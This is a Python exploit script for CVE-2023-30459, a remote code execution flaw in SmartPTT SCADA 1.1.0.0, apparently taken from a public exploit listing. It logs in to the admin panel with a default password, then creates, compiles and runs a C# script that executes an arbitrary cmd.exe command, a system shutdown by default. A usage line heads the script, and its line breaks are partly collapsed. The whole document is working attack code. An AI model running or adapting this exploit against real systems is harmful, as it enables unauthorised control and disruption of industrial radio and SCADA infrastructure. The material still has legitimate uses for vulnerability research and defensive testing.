python CVE-2023-30459.py -t 127.0.0.1 -p elcomplus -cmd "shutdown /s /t 30"

#!/usr/bin/env python# -*- coding: utf-8 -*-## Exploit Title: SmartPTT Scada 1.1.0.0 - Remote Code Execution## Exploit Author: Toxi4# CVE: *# Date: 2023/03/29# Vulnerability discovered by Anton Kartunov# Vendor Homepage: https://smartptt.com# Software Link: https://dl.smartptt.com/scada/SmartPTT-SCADA-1.1.0.0.zip# Version: <= 1.1.0.0# Tested on: Windows10x64 - SmartPTT Scada 1.1.0.0 - Remote Code Execution##SmartPTT SCADA 1.1.0.0 allows remote code execution (when the attacker has administrator privileges)#by writing a malicious C# script and executing it on the server#(via server settings in the administrator control panel on port 8101, by default).## Usage example: python CVE-2023-30459.py -t 192.168.0.103 -p elcomplus -cmd "shutdown /s /t 30" 

import requestsimport argparseimport randomimport stringimport sysimport re
help = "SmartPTT Scada 1.1.0.0 - Remote Code Execution"parser = argparse.ArgumentParser(description=help)parser.add_argument("-t", "--target", help="Target IP", required=True)parser.add_argument("-p", "--password", help="Password", default="elcomplus")parser.add_argument("-cmd", "--command", help="Command", default="shutdown /s /t 30")
args = parser.parse_args()
host = args.targetpassword = args.passwordcmd = args.command
port = 8101 # Default Ports = requests.Session()headers = {"Content-Type": "application/x-www-form-urlencoded"}
def random_string(chars):  choices = []  for _ in range(chars):    choices.append(random.choice(string.ascii_letters))  return "".join(choices)
def auth():  url = "http://{}:{}/auth.html".format(host, port)  data = "auth_password={}".format(password)  try:    s.post(url, data=data, headers = headers)    print("[+] Authorization successful")  except Exception as e:    print("[-] Can't authorize")    print(e)    sys.exit()
def Create_file():  url = "http://{}:{}/scripts.html".format(host, port)  filename = random_string(5) + ".cs"  data = "FileName={}&script_add=Add+Script".format(filename)  try:    s.post(url, data=data, headers = headers)    print("[+] New script file created: ", filename)  except Exception as e:    print("[-] Can't create cs file")    print(e)    sys.exit()
def Guid():  url = "http://{}:{}/scripts.html".format(host, port)  try:    GetGuid = s.get(url)    Guid = re.search('<input type="text" name="script_guid" value="([\w\W]*?)"', str(GetGuid.content)).group(1)    print("[+] Guid of first script at list: ", Guid)    return Guid  except Exception as e:    print("[-] Can't find token")    print(e)    sys.exit()
def Create_Script(Guid):  url = "http://{}:{}/script_edit.html".format(host, port)  script = """using System;using System.Reflection;using System.Collections.Generic;using Engine;using Logging;namespace CustomScript{    public class CustomScript    {        static CustomScript()        {            Log.Message("Init script!");        }        public object Run(Scripts.ScriptEnvironment env)        {            try            {                System.Diagnostics.Process.Start("CMD.exe", "/c """+ cmd +"""");            }            catch (Exception objException)            {             }            return 0;        }    }}  """  try:    s.post(url, files={'script_code_save': (None, ''), 'script_guid': (None, Guid), 'script_code': (None, script)})    print("[+] Script successfully created")  except Exception as e:    pass
def Compile_script(Guid):  url = "http://{}:{}/script_edit.html?action=script_compile&script_guid={}".format(host, port, Guid)  try:    s.post(url)    s.post(url)    print("[+] Script successfully compile")  except Exception as e:    print("[-] Can't compile script")    print(e)    sys.exit()
def Run_script(Guid):  url = "http://{}:{}/script_edit.html?action=script_run&script_guid={}".format(host, port, Guid)  try:    s.post(url)    print("[+] Script is runing ...")  except Exception as e:    print("[-] Something went wrong")    print(e)    sys.exit()
def main():  auth()  Create_file()  guid = Guid()  Create_Script(guid)  Compile_script(guid)  Run_script(guid)
if __name__ == "__main__":  try:    main()  except KeyboardInterrupt:    print('Interrupted by users...')  except:    sys.exit()